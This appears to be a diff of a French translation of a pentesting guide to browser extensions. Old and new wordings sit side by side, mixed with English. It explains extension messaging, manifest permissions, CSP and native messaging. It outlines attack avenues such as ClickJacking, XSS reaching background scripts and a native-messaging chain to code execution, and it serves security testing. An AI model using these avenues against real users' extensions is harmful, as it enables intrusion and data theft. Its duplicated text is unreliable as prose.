Pour déboguer le script d'arrière-plan, vous pouvez aller dans les **détails de l'extension et inspecter le service worker,** cela ouvrira les outils de développement avec le script d'arrière-plan :
|
||||
Pour déboguer le script d'arrière-plan vous pouvez aller aux **extension details and inspect the service worker,** cela ouvrira les outils de développement avec le script d'arrière-plan :
|
||||
|
||||
<figure><img src="https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/browser-extension-pentesting-methodology/broken-reference" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Pages d'options et autres
|
||||
### Options pages and other
|
||||
|
||||
Les extensions de navigateur peuvent contenir divers types de pages :
|
||||
Les extensions de navigateur peuvent contenir différents types de pages :
|
||||
|
||||
- Les **pages d'action** sont affichées dans un **menu déroulant lorsque l'icône de l'extension** est cliquée.
|
||||
- Pages que l'extension va **charger dans un nouvel onglet**.
|
||||
- **Pages d'options** : Cette page s'affiche au-dessus de l'extension lorsqu'elle est cliquée. Dans le manifeste précédent, dans mon cas, j'ai pu accéder à cette page dans `chrome://extensions/?options=fadlhnelkbeojnebcbkacjilhnbjfjca` ou en cliquant :
|
||||
- **Action pages** sont affichées dans un **drop-down when the extension ico**n est cliqué.
|
||||
- Pages que l'extension **load in a new tab**.
|
||||
- **Option Pages** : Cette page s'affiche au-dessus de l'extension lorsqu'on clique dessus. Dans le manifest précédent, dans mon cas j'ai pu accéder à cette page via `chrome://extensions/?options=fadlhnelkbeojnebcbkacjilhnbjfjca` ou en cliquant :
|
||||
|
||||
<figure><img src="../../images/image (24).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
Notez que ces pages ne sont pas persistantes comme les pages d'arrière-plan car elles chargent dynamiquement du contenu selon les besoins. Malgré cela, elles partagent certaines capacités avec la page d'arrière-plan :
|
||||
Notez que ces pages ne sont pas persistantes comme les pages d'arrière-plan car elles chargent dynamiquement le contenu selon les besoins. Malgré cela, elles partagent certaines capacités avec la page d'arrière-plan :
|
||||
|
||||
- **Communication avec les scripts de contenu :** Semblable à la page d'arrière-plan, ces pages peuvent recevoir des messages des scripts de contenu, facilitant l'interaction au sein de l'extension.
|
||||
- **Accès aux API spécifiques à l'extension :** Ces pages bénéficient d'un accès complet aux API spécifiques à l'extension, sous réserve des autorisations définies pour l'extension.
|
||||
- **Communication with Content Scripts:** De la même façon que la page d'arrière-plan, ces pages peuvent recevoir des messages depuis des content scripts, facilitant l'interaction au sein de l'extension.
|
||||
- **Access to Extension-Specific APIs:** Ces pages bénéficient d'un accès complet aux APIs spécifiques à l'extension, sous réserve des permissions définies pour l'extension.
|
||||
|
||||
### `permissions` & `host_permissions`
|
||||
|
||||
**`permissions`** et **`host_permissions`** sont des entrées du `manifest.json` qui indiqueront **quelles autorisations** l'extension de navigateur a (stockage, localisation...) et **sur quelles pages web**.
|
||||
**`permissions`** et **`host_permissions`** sont des entrées du `manifest.json` qui indiqueront **quelles permissions** l'extension du navigateur possède (storage, location...) et **sur quelles pages web**.
|
||||
|
||||
Comme les extensions de navigateur peuvent être si **privilégiées**, une extension malveillante ou compromise pourrait permettre à l'attaquant **différentes méthodes pour voler des informations sensibles et espionner l'utilisateur**.
|
||||
Comme les extensions de navigateur peuvent être très **privilégiées**, une extension malveillante ou compromise pourrait permettre à un attaquant **différents moyens de voler des informations sensibles et d'espionner l'utilisateur**.
|
||||
|
||||
Voir comment ces paramètres fonctionnent et comment ils peuvent être abusés dans :
|
||||
|
||||
Vérifiez comment ces paramètres fonctionnent et comment ils pourraient être abusés dans :
|
||||
|
||||
{{#ref}}
|
||||
browext-permissions-and-host_permissions.md
|
||||
@ -262,13 +263,13 @@ browext-permissions-and-host_permissions.md
|
||||
|
||||
### `content_security_policy`
|
||||
|
||||
Une **politique de sécurité de contenu** peut également être déclarée à l'intérieur du `manifest.json`. S'il y en a une définie, elle pourrait être **vulnérable**.
|
||||
Une **content security policy** peut également être déclarée dans le `manifest.json`. Si une est définie, elle pourrait être **vulnérable**.
|
||||
|
||||
Le paramètre par défaut pour les pages d'extension de navigateur est plutôt restrictif :
|
||||
Le paramètre par défaut pour les pages d'extension du navigateur est plutôt restrictif :
|
||||
```bash
|
||||
script-src 'self'; object-src 'self';
|
||||
```
|
||||
Pour plus d'informations sur CSP et les contournements potentiels, consultez :
|
||||
Pour plus d'infos sur CSP and potential bypasses, consultez:
|
||||
|
||||
{{#ref}}
|
||||
../content-security-policy-csp-bypass/
|
||||
@ -276,8 +277,8 @@ Pour plus d'informations sur CSP et les contournements potentiels, consultez :
|
||||
|
||||
### `web_accessible_resources`
|
||||
|
||||
Pour qu'une page web puisse accéder à une page d'une extension de navigateur, une page `.html` par exemple, cette page doit être mentionnée dans le champ **`web_accessible_resources`** du `manifest.json`.\
|
||||
Par exemple :
|
||||
Pour qu'une page web puisse accéder à une page d'une extension de navigateur, par exemple une page `.html`, cette page doit être mentionnée dans le champ **`web_accessible_resources`** de `manifest.json`.\
|
||||
Par exemple:
|
||||
```javascript
|
||||
{
|
||||
...
|
||||
@ -294,7 +295,7 @@ Par exemple :
|
||||
...
|
||||
}
|
||||
```
|
||||
Ces pages sont accessibles à l'URL comme :
|
||||
Ces pages sont accessibles via une URL comme :
|
||||
```
|
||||
chrome-extension://<extension-id>/message.html
|
||||
```
|
||||
@ -305,56 +306,57 @@ Dans les extensions publiques, l'**extension-id est accessible** :
|
||||
Cependant, si le paramètre `manifest.json` **`use_dynamic_url`** est utilisé, cet **id peut être dynamique**.
|
||||
|
||||
> [!TIP]
|
||||
> Notez que même si une page est mentionnée ici, elle pourrait être **protégée contre le ClickJacking** grâce à la **Content Security Policy**. Vous devez donc également vérifier cela (section frame-ancestors) avant de confirmer qu'une attaque ClickJacking est possible.
|
||||
> Notez que même si une page est mentionnée ici, elle peut être **protégée contre le ClickJacking** grâce à la **Content Security Policy**. Vous devez donc également la vérifier (frame-ancestors section) avant de confirmer qu'une attaque ClickJacking est possible.
|
||||
|
||||
Le fait de pouvoir accéder à ces pages les rend **potentiellement vulnérables au ClickJacking** :
|
||||
|
||||
Le fait d'être autorisé à accéder à ces pages rend ces pages **potentiellement vulnérables au ClickJacking** :
|
||||
|
||||
{{#ref}}
|
||||
browext-clickjacking.md
|
||||
{{#endref}}
|
||||
|
||||
> [!TIP]
|
||||
> Autoriser ces pages à être chargées uniquement par l'extension et non par des URL aléatoires pourrait prévenir les attaques de ClickJacking.
|
||||
> Autoriser le chargement de ces pages uniquement par l'extension et non par des URL aléatoires pourrait empêcher les attaques ClickJacking.
|
||||
|
||||
> [!CAUTION]
|
||||
> Notez que les pages de **`web_accessible_resources`** et d'autres pages de l'extension sont également capables de **contacter des scripts d'arrière-plan**. Donc, si l'une de ces pages est vulnérable à **XSS**, cela pourrait ouvrir une vulnérabilité plus importante.
|
||||
> Notez que les pages définies dans **`web_accessible_resources`** et d'autres pages de l'extension sont également capables de **contacter les background scripts**. Donc si l'une de ces pages est vulnérable à **XSS**, cela pourrait déboucher sur une vulnérabilité plus importante.
|
||||
>
|
||||
> De plus, notez que vous ne pouvez ouvrir que les pages indiquées dans **`web_accessible_resources`** à l'intérieur des iframes, mais depuis un nouvel onglet, il est possible d'accéder à n'importe quelle page de l'extension en connaissant l'ID de l'extension. Par conséquent, si un XSS est trouvé en abusant des mêmes paramètres, il pourrait être exploité même si la page n'est pas configurée dans **`web_accessible_resources`**.
|
||||
> De plus, notez que vous ne pouvez ouvrir dans des iframes que les pages indiquées dans **`web_accessible_resources`**, mais depuis un nouvel onglet il est possible d'accéder à n'importe quelle page de l'extension en connaissant l'extension ID. Par conséquent, si un XSS est découvert en abusant des mêmes paramètres, il pourrait être exploité même si la page n'est pas configurée dans **`web_accessible_resources`**.
|
||||
|
||||
### `externally_connectable`
|
||||
|
||||
Selon les [**docs**](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable), la propriété de manifeste `"externally_connectable"` déclare **quelles extensions et pages web peuvent se connecter** à votre extension via [runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect) et [runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage).
|
||||
D'après la [**docs**](https://developer.chrome.com/docs/extensions/reference/manifest/externally_connectable), la propriété de manifest `"externally_connectable"` déclare **quelles extensions et quelles pages web peuvent se connecter** à votre extension via [runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect) et [runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage).
|
||||
|
||||
- Si la clé **`externally_connectable`** **n'est pas** déclarée dans le manifeste de votre extension ou qu'elle est déclarée comme **`"ids": ["*"]`**, **toutes les extensions peuvent se connecter, mais aucune page web ne peut se connecter**.
|
||||
- Si **des IDs spécifiques sont spécifiés**, comme dans `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`, **seules ces applications** peuvent se connecter.
|
||||
- Si des **matches** sont spécifiés, ces applications web pourront se connecter :
|
||||
- Si la clé **`externally_connectable`** n'est **pas** déclarée dans le manifest de votre extension ou si elle est déclarée comme **`"ids": ["*"]`**, **toutes les extensions peuvent se connecter, mais aucune page web ne peut se connecter**.
|
||||
- Si des **IDs spécifiques sont indiquées**, comme dans `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`, **seules ces applications** peuvent se connecter.
|
||||
- Si des **matches** sont spécifiés, ces web apps pourront se connecter :
|
||||
```json
|
||||
"matches": [
|
||||
"https://*.google.com/*",
|
||||
"*://*.chromium.org/*",
|
||||
```
|
||||
- S'il est spécifié comme vide : **`"externally_connectable": {}`**, aucune application ou site web ne pourra se connecter.
|
||||
- Si c'est spécifié comme vide : **`"externally_connectable": {}`**, aucune app ou page web ne pourra se connecter.
|
||||
|
||||
Le **moins d'extensions et d'URLs** indiqués ici, le **plus petit sera la surface d'attaque**.
|
||||
**Moins d'extensions et d'URLs** indiquées ici, **plus petite sera la surface d'attaque**.
|
||||
|
||||
> [!CAUTION]
|
||||
> Si une page web **vulnérable à XSS ou takeover** est indiquée dans **`externally_connectable`**, un attaquant pourra **envoyer des messages directement au script d'arrière-plan**, contournant complètement le Content Script et son CSP.
|
||||
> Si une page web **vulnerable to XSS or takeover** est indiquée dans **`externally_connectable`**, un attaquant pourra **envoyer des messages directement au background script**, contournant complètement le Content Script et son CSP.
|
||||
>
|
||||
> Par conséquent, c'est un **contournement très puissant**.
|
||||
> Par conséquent, il s'agit d'un **contournement très puissant**.
|
||||
>
|
||||
> De plus, si le client installe une extension malveillante, même si elle n'est pas autorisée à communiquer avec l'extension vulnérable, elle pourrait injecter **des données XSS dans une page web autorisée** ou abuser des API **`WebRequest`** ou **`DeclarativeNetRequest`** pour manipuler des requêtes sur un domaine ciblé en modifiant la requête d'une **fichier JavaScript**. (Notez que le CSP sur la page ciblée pourrait empêcher ces attaques). Cette idée vient [**de cet article**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability).
|
||||
> De plus, si le client installe une extension malveillante, même si elle n'est pas autorisée à communiquer avec l'extension vulnérable, elle pourrait injecter **XSS data in an allowed web page** ou abuser des APIs **`WebRequest`** ou **`DeclarativeNetRequest`** pour manipuler les requêtes sur un domaine ciblé, altérant la requête d'une page pour un **JavaScript file**. (Notez que le CSP de la page ciblée pourrait prévenir ces attaques). Cette idée provient [**de cet article**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability).
|
||||
|
||||
## Résumé de la communication
|
||||
## Communication summary
|
||||
|
||||
### Extension <--> WebApp
|
||||
|
||||
Pour communiquer entre le script de contenu et la page web, des messages postés sont généralement utilisés. Par conséquent, dans l'application web, vous trouverez généralement des appels à la fonction **`window.postMessage`** et dans le script de contenu des écouteurs comme **`window.addEventListener`**. Notez cependant que l'extension pourrait également **communiquer avec l'application web en envoyant un Post Message** (et donc le web devrait s'y attendre) ou simplement faire charger un nouveau script sur le web.
|
||||
Pour communiquer entre le content script et la page web, on utilise généralement des post messages. Ainsi, dans l'application web vous trouverez généralement des appels à la fonction **`window.postMessage`** et, dans le content script, des listeners comme **`window.addEventListener`**. Notez cependant que l'extension peut aussi **communiquer avec l'application web en envoyant un Post Message** (et donc la page web doit s'y attendre) ou simplement faire charger un nouveau script par la page web.
|
||||
|
||||
### À l'intérieur de l'extension
|
||||
### Inside the extension
|
||||
|
||||
Généralement, la fonction **`chrome.runtime.sendMessage`** est utilisée pour envoyer un message à l'intérieur de l'extension (généralement géré par le script `background`) et pour le recevoir et le gérer, un écouteur est déclaré en appelant **`chrome.runtime.onMessage.addListener`**.
|
||||
Généralement la fonction **`chrome.runtime.sendMessage`** est utilisée pour envoyer un message au sein de l'extension (généralement pris en charge par le `background` script) et, pour le recevoir et le gérer, un listener est déclaré en appelant **`chrome.runtime.onMessage.addListener`**.
|
||||
|
||||
Il est également possible d'utiliser **`chrome.runtime.connect()`** pour avoir une connexion persistante au lieu d'envoyer des messages uniques, il est possible de l'utiliser pour **envoyer** et **recevoir** **des messages** comme dans l'exemple suivant :
|
||||
Il est aussi possible d'utiliser **`chrome.runtime.connect()`** pour avoir une connexion persistante au lieu d'envoyer des messages isolés ; on peut l'utiliser pour **envoyer** et **recevoir** des **messages** comme dans l'exemple suivant :
|
||||
|
||||
<details>
|
||||
|
||||
@ -389,19 +391,19 @@ console.log("Content script received message from background script:", msg)
|
||||
```
|
||||
</details>
|
||||
|
||||
Il est également possible d'envoyer des messages d'un script d'arrière-plan à un script de contenu situé dans un onglet spécifique en appelant **`chrome.tabs.sendMessage`** où vous devrez indiquer l'**ID de l'onglet** à qui envoyer le message.
|
||||
Il est aussi possible d'envoyer des messages depuis un script d'arrière-plan vers un script de contenu situé dans un onglet spécifique en appelant **`chrome.tabs.sendMessage`** où vous devrez indiquer le **ID de l'onglet** auquel envoyer le message.
|
||||
|
||||
### Des `externally_connectable` autorisés à l'extension
|
||||
### Depuis les `externally_connectable` autorisés vers l'extension
|
||||
|
||||
**Les applications web et les extensions de navigateur externes autorisées** dans la configuration `externally_connectable` peuvent envoyer des requêtes en utilisant :
|
||||
**Les web apps et les extensions de navigateur externes autorisées** dans la configuration `externally_connectable` peuvent envoyer des requêtes en utilisant :
|
||||
```javascript
|
||||
chrome.runtime.sendMessage(extensionId, ...
|
||||
```
|
||||
Où il est nécessaire de mentionner l'**ID d'extension**.
|
||||
Lorsque nécessaire pour mentionner l'**extension ID**.
|
||||
|
||||
### Native Messaging
|
||||
|
||||
Il est possible pour les scripts d'arrière-plan de communiquer avec des binaires à l'intérieur du système, ce qui pourrait être **sujet à des vulnérabilités critiques telles que des RCE** si cette communication n'est pas correctement sécurisée. [More on this later](#native-messaging).
|
||||
Il est possible que les background scripts communiquent avec des binaries du système, ce qui peut être **exposé à des vulnérabilités critiques telles que les RCEs** si cette communication n'est pas correctement sécurisée. [More on this later](#native-messaging).
|
||||
```javascript
|
||||
chrome.runtime.sendNativeMessage(
|
||||
"com.my_company.my_application",
|
||||
@ -411,11 +413,11 @@ console.log("Received " + response)
|
||||
}
|
||||
)
|
||||
```
|
||||
## Web **↔︎** Communication entre le script de contenu
|
||||
## Communication Web **↔︎** Content Script
|
||||
|
||||
Les environnements où les **scripts de contenu** opèrent et où les pages hôtes existent sont **séparés** les uns des autres, garantissant **l'isolement**. Malgré cet isolement, les deux ont la capacité d'interagir avec le **Document Object Model (DOM)** de la page, une ressource partagée. Pour que la page hôte engage une communication avec le **script de contenu**, ou indirectement avec l'extension via le script de contenu, il est nécessaire d'utiliser le **DOM** qui est accessible par les deux parties comme canal de communication.
|
||||
Les environnements où opèrent les **content scripts** et où résident les pages hôtes sont **séparés** les uns des autres, garantissant **l'isolation**. Malgré cette isolation, les deux peuvent interagir avec le **Document Object Model (DOM)** de la page, une ressource partagée. Pour que la page hôte communique avec le **content script**, ou indirectement avec l'extension via le content script, elle doit utiliser le **DOM** accessible aux deux comme canal de communication.
|
||||
|
||||
### Messages Post
|
||||
### Post Messages
|
||||
```javascript:content-script.js
|
||||
// This is like "chrome.runtime.sendMessage" but to maintain the connection
|
||||
var port = chrome.runtime.connect()
|
||||
@ -450,15 +452,16 @@ window.postMessage(
|
||||
false
|
||||
)
|
||||
```
|
||||
Une communication sécurisée par Post Message doit vérifier l'authenticité du message reçu, cela peut être fait en vérifiant :
|
||||
Une communication Post Message sécurisée devrait vérifier l'authenticité du message reçu, cela peut être fait en vérifiant :
|
||||
|
||||
- **`event.isTrusted`** : Cela est vrai uniquement si l'événement a été déclenché par une action de l'utilisateur
|
||||
- Le script de contenu peut s'attendre à un message uniquement si l'utilisateur effectue une action
|
||||
- **domaine d'origine** : peut s'attendre à un message uniquement à partir d'une liste blanche de domaines.
|
||||
- Si une regex est utilisée, soyez très prudent
|
||||
- **Source** : `received_message.source !== window` peut être utilisé pour vérifier si le message provient de **la même fenêtre** où le script de contenu écoute.
|
||||
- **`event.isTrusted`**: This is True only if the event was triggered by a users action
|
||||
- Le content script peut n'attendre un message que si l'utilisateur effectue une action
|
||||
- **origin domain**: n'accepter un message que d'une allowlist de domaines.
|
||||
- If a regex is used, be very careful
|
||||
- **Source**: `received_message.source !== window` can be used to check if the message was **from the same window** where the Content Script is listening.
|
||||
|
||||
Les vérifications précédentes, même si elles sont effectuées, pourraient être vulnérables — consultez la page suivante : **potential Post Message bypasses** :
|
||||
|
||||
Les vérifications précédentes, même si elles sont effectuées, pourraient être vulnérables, alors vérifiez sur la page suivante **les potentielles contournements de Post Message** :
|
||||
|
||||
{{#ref}}
|
||||
../postmessage-vulnerabilities/
|
||||
@ -466,7 +469,8 @@ Les vérifications précédentes, même si elles sont effectuées, pourraient ê
|
||||
|
||||
### Iframe
|
||||
|
||||
Une autre façon possible de communication pourrait être à travers **les URL Iframe**, vous pouvez trouver un exemple dans :
|
||||
Un autre moyen de communication possible peut être via des **Iframe URLs**, vous trouverez un exemple dans :
|
||||
|
||||
|
||||
{{#ref}}
|
||||
browext-xss-example.md
|
||||
@ -474,21 +478,22 @@ browext-xss-example.md
|
||||
|
||||
### DOM
|
||||
|
||||
Ce n'est pas "exactement" une façon de communiquer, mais le **web et le script de contenu auront accès au DOM web**. Donc, si le **script de contenu** lit certaines informations à partir de celui-ci, **faisant confiance au DOM web**, le web pourrait **modifier ces données** (car le web ne devrait pas être digne de confiance, ou parce que le web est vulnérable à XSS) et **compromettre le script de contenu**.
|
||||
Ce n'est pas "exactement" une voie de communication, mais le **web et le content script auront accès au web DOM**. Donc, si le **content script** lit des informations à partir de celui-ci, en **faisant confiance au web DOM**, le web pourrait **modifier ces données** (parce que le web ne devrait pas être digne de confiance, ou parce que le web est vulnérable à XSS) et **compromettre le Content Script**.
|
||||
|
||||
Vous pouvez également trouver un exemple de **DOM based XSS to compromise a browser extension** dans :
|
||||
|
||||
Vous pouvez également trouver un exemple de **XSS basé sur le DOM pour compromettre une extension de navigateur** dans :
|
||||
|
||||
{{#ref}}
|
||||
browext-xss-example.md
|
||||
{{#endref}}
|
||||
|
||||
## Communication entre le Script de Contenu **↔︎** le Script d'Arrière-plan
|
||||
## Communication Content Script **↔︎** Background Script
|
||||
|
||||
Un Script de Contenu peut utiliser les fonctions [**runtime.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) **ou** [**tabs.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/tabs#method-sendMessage) pour envoyer un message **sérialisable en JSON** **unique**.
|
||||
Un Content Script peut utiliser les fonctions [**runtime.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) **or** [**tabs.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/tabs#method-sendMessage) pour envoyer un message **one-time JSON-serializable**.
|
||||
|
||||
Pour gérer la **réponse**, utilisez la **Promise** retournée. Bien que, pour des raisons de compatibilité, vous puissiez toujours passer un **callback** comme dernier argument.
|
||||
Pour gérer la **réponse**, utilisez la **Promise** retournée. Cependant, pour la rétrocompatibilité, vous pouvez toujours passer un **callback** comme dernier argument.
|
||||
|
||||
L'envoi d'une requête depuis un **script de contenu** ressemble à ceci :
|
||||
Envoyer une requête depuis un **content script** ressemble à ceci :
|
||||
```javascript
|
||||
;(async () => {
|
||||
const response = await chrome.runtime.sendMessage({ greeting: "hello" })
|
||||
@ -496,7 +501,7 @@ const response = await chrome.runtime.sendMessage({ greeting: "hello" })
|
||||
console.log(response)
|
||||
})()
|
||||
```
|
||||
Envoyer une requête depuis l'**extension** (généralement un **script d'arrière-plan**). Exemple de comment envoyer un message au script de contenu dans l'onglet sélectionné :
|
||||
Envoyer une requête depuis l'**extension** (généralement un **background script**). Exemple montrant comment envoyer un message au content script dans l'onglet sélectionné :
|
||||
```javascript
|
||||
// From https://stackoverflow.com/questions/36153999/how-to-send-a-message-between-chrome-extension-popup-and-content-script
|
||||
;(async () => {
|
||||
@ -509,7 +514,7 @@ const response = await chrome.tabs.sendMessage(tab.id, { greeting: "hello" })
|
||||
console.log(response)
|
||||
})()
|
||||
```
|
||||
À la **réception**, vous devez configurer un [**runtime.onMessage**](https://developer.chrome.com/docs/extensions/reference/runtime#event-onMessage) **écouteur d'événements** pour gérer le message. Cela ressemble à la même chose depuis un script de contenu ou une page d'extension.
|
||||
Du côté **destinataire**, vous devez mettre en place un [**runtime.onMessage**](https://developer.chrome.com/docs/extensions/reference/runtime#event-onMessage) **event listener** pour gérer le message. Cela est identique depuis un content script ou une extension page.
|
||||
```javascript
|
||||
// From https://stackoverflow.com/questions/70406787/javascript-send-message-from-content-js-to-background-js
|
||||
chrome.runtime.onMessage.addListener(function (request, sender, sendResponse) {
|
||||
@ -521,15 +526,15 @@ sender.tab
|
||||
if (request.greeting === "hello") sendResponse({ farewell: "goodbye" })
|
||||
})
|
||||
```
|
||||
Dans l'exemple mis en évidence, **`sendResponse()`** a été exécuté de manière synchrone. Pour modifier le gestionnaire d'événements `onMessage` pour une exécution asynchrone de `sendResponse()`, il est impératif d'incorporer `return true;`.
|
||||
Dans l'exemple mis en évidence, **`sendResponse()`** a été exécuté de manière synchrone. Pour modifier le gestionnaire d'événement `onMessage` afin que `sendResponse()` s'exécute de façon asynchrone, il est impératif d'incorporer `return true;`.
|
||||
|
||||
Une considération importante est que dans les scénarios où plusieurs pages sont configurées pour recevoir des événements `onMessage`, **la première page à exécuter `sendResponse()`** pour un événement spécifique sera la seule capable de livrer la réponse efficacement. Toute réponse ultérieure au même événement ne sera pas prise en compte.
|
||||
Il est important de noter que lorsque plusieurs pages sont configurées pour recevoir des événements `onMessage`, **la première page à exécuter `sendResponse()`** pour un événement donné sera la seule à pouvoir délivrer la réponse efficacement. Les réponses ultérieures au même événement ne seront pas prises en compte.
|
||||
|
||||
Lors de la création de nouvelles extensions, la préférence doit être donnée aux promesses plutôt qu'aux rappels. En ce qui concerne l'utilisation des rappels, la fonction `sendResponse()` est considérée comme valide uniquement si elle est exécutée directement dans le contexte synchrone, ou si le gestionnaire d'événements indique une opération asynchrone en retournant `true`. Si aucun des gestionnaires ne retourne `true` ou si la fonction `sendResponse()` est supprimée de la mémoire (collectée par le garbage collector), le rappel associé à la fonction `sendMessage()` sera déclenché par défaut.
|
||||
Lors de la création de nouvelles extensions, la préférence doit aller aux promises plutôt qu'aux callbacks. En ce qui concerne l'utilisation de callbacks, la fonction `sendResponse()` n'est considérée comme valide que si elle est exécutée directement dans le contexte synchrone, ou si le gestionnaire d'événement indique une opération asynchrone en retournant `true`. Si aucun des gestionnaires ne retourne `true`, ou si la fonction `sendResponse()` est supprimée de la mémoire (garbage-collected), le callback associé à `sendMessage()` sera déclenché par défaut.
|
||||
|
||||
## Native Messaging
|
||||
|
||||
Les extensions de navigateur permettent également de communiquer avec **des binaires dans le système via stdin**. L'application doit installer un json indiquant cela dans un json comme :
|
||||
Les extensions de navigateur permettent également de communiquer avec des **binaires du système via stdin**. L'application doit installer un json l'indiquant dans un json comme :
|
||||
```json
|
||||
{
|
||||
"name": "com.my_company.my_application",
|
||||
@ -539,14 +544,14 @@ Les extensions de navigateur permettent également de communiquer avec **des bin
|
||||
"allowed_origins": ["chrome-extension://knldjmfmopnpolahpmmgbagdohdnhkik/"]
|
||||
}
|
||||
```
|
||||
Où le `name` est la chaîne passée à [`runtime.connectNative()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-connectNative) ou [`runtime.sendNativeMessage()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-sendNativeMessage) pour communiquer avec l'application depuis les scripts d'arrière-plan de l'extension du navigateur. Le `path` est le chemin vers le binaire, il n'y a qu'un seul `type` valide qui est stdio (utiliser stdin et stdout) et les `allowed_origins` indiquent les extensions qui peuvent y accéder (et ne peuvent pas avoir de caractère générique).
|
||||
Où le `name` est la chaîne passée à [`runtime.connectNative()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-connectNative) ou [`runtime.sendNativeMessage()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-sendNativeMessage) pour communiquer avec l'application depuis les scripts d'arrière-plan de l'extension de navigateur. Le `path` est le chemin vers le binaire, il n'y a qu'un seul `type` valide qui est stdio (utiliser stdin et stdout) et les `allowed_origins` indiquent les extensions qui peuvent y accéder (et ne peuvent pas contenir de caractère générique).
|
||||
|
||||
Chrome/Chromium recherchera ce json dans certains registres Windows et certains chemins sous macOS et Linux (plus d'infos dans les [**docs**](https://developer.chrome.com/docs/extensions/develop/concepts/native-messaging)).
|
||||
Chrome/Chromium recherchera ce json dans certaines clés de registre Windows et dans certains chemins sur macOS et Linux (plus d'infos dans les [**docs**](https://developer.chrome.com/docs/extensions/develop/concepts/native-messaging)).
|
||||
|
||||
> [!TIP]
|
||||
> L'extension du navigateur a également besoin de la permission `nativeMessaing` déclarée pour pouvoir utiliser cette communication.
|
||||
> L'extension du navigateur a également besoin que la permission `nativeMessaing` soit déclarée pour pouvoir utiliser cette communication.
|
||||
|
||||
Voici à quoi ressemble un code de script d'arrière-plan envoyant des messages à une application native :
|
||||
Voici à quoi ressemble le code d'un script d'arrière-plan envoyant des messages à une application native :
|
||||
```javascript
|
||||
chrome.runtime.sendNativeMessage(
|
||||
"com.my_company.my_application",
|
||||
@ -556,42 +561,42 @@ console.log("Received " + response)
|
||||
}
|
||||
)
|
||||
```
|
||||
Dans [**cet article de blog**](https://spaceraccoon.dev/universal-code-execution-browser-extensions/), un modèle vulnérable abusant des messages natifs est proposé :
|
||||
In [**this blog post**](https://spaceraccoon.dev/universal-code-execution-browser-extensions/), un schéma vulnérable abusant des native messages est proposé :
|
||||
|
||||
1. L'extension du navigateur a un modèle wildcard pour le script de contenu.
|
||||
2. Le script de contenu passe des messages `postMessage` au script d'arrière-plan en utilisant `sendMessage`.
|
||||
3. Le script d'arrière-plan passe le message à l'application native en utilisant `sendNativeMessage`.
|
||||
4. L'application native gère le message de manière dangereuse, conduisant à l'exécution de code.
|
||||
1. L'extension de navigateur a un pattern wildcard pour le content script.
|
||||
2. Le content script transmet des messages `postMessage` au background script en utilisant `sendMessage`.
|
||||
3. Le background script transmet le message à l'application native en utilisant `sendNativeMessage`.
|
||||
4. L'application native traite le message de manière dangereuse, conduisant à une exécution de code.
|
||||
|
||||
Et à l'intérieur, un exemple de **passage de n'importe quelle page à RCE en abusant d'une extension de navigateur est expliqué**.
|
||||
Et à l'intérieur, un exemple expliquant **comment passer de n'importe quelle page à RCE en abusant d'une extension de navigateur** est présenté.
|
||||
|
||||
## Informations Sensibles en Mémoire/Code/Clipboard
|
||||
## Sensitive Information in Memory/Code/Clipboard
|
||||
|
||||
Si une extension de navigateur stocke **des informations sensibles dans sa mémoire**, celles-ci pourraient être **dumpées** (surtout sur les machines Windows) et **recherchées** pour ces informations.
|
||||
Si une extension de navigateur stocke **des informations sensibles dans sa mémoire**, celles-ci peuvent être **extraites** (surtout sur les machines Windows) et **recherchées** pour retrouver ces informations.
|
||||
|
||||
Par conséquent, la mémoire de l'extension de navigateur **ne doit pas être considérée comme sécurisée** et **les informations sensibles** telles que les identifiants ou les phrases mnémotechniques **ne doivent pas être stockées**.
|
||||
Par conséquent, la mémoire de l'extension de navigateur **ne doit pas être considérée comme sûre** et les **informations sensibles** telles que des identifiants ou des phrases mnémoniques **ne doivent pas y être stockées**.
|
||||
|
||||
Bien sûr, ne **mettez pas d'informations sensibles dans le code**, car cela sera **public**.
|
||||
Bien sûr, ne mettez pas d'informations sensibles dans le code, car il sera **public**.
|
||||
|
||||
Pour dumper la mémoire du navigateur, vous pourriez **dumper la mémoire du processus** ou aller dans les **paramètres** de l'extension de navigateur et cliquer sur **`Inspect pop-up`** -> Dans la section **`Memory`** -> **`Take a snapshot`** et **`CTRL+F`** pour rechercher dans le snapshot des informations sensibles.
|
||||
Pour dumper la mémoire du navigateur, vous pouvez **dump the process memory** ou aller dans les **settings** de l'extension de navigateur, cliquer sur **`Inspect pop-up`** -> Dans la section **`Memory`** -> **`Take a snaphost`** et faire **`CTRL+F`** pour rechercher dans le snapshot des informations sensibles.
|
||||
|
||||
De plus, des informations hautement sensibles comme des clés mnémotechniques ou des mots de passe **ne devraient pas être autorisées à être copiées dans le presse-papiers** (ou au moins les retirer du presse-papiers après quelques secondes) car alors les processus surveillant le presse-papiers pourront les obtenir.
|
||||
De plus, des informations hautement sensibles comme des clés mnémoniques ou des mots de passe **ne devraient pas pouvoir être copiées dans le presse-papiers** (ou au moins les supprimer du presse-papiers après quelques secondes), car des processus surveillant le presse-papiers pourraient alors les récupérer.
|
||||
|
||||
## Chargement d'une Extension dans le Navigateur
|
||||
## Loading an Extension in the Browser
|
||||
|
||||
1. **Téléchargez** l'extension de navigateur & décompressez-la
|
||||
2. Allez à **`chrome://extensions/`** et **activez** le `Mode Développeur`
|
||||
3. Cliquez sur le bouton **`Load unpacked`**
|
||||
1. **Download** the Browser Extension & unzipped
|
||||
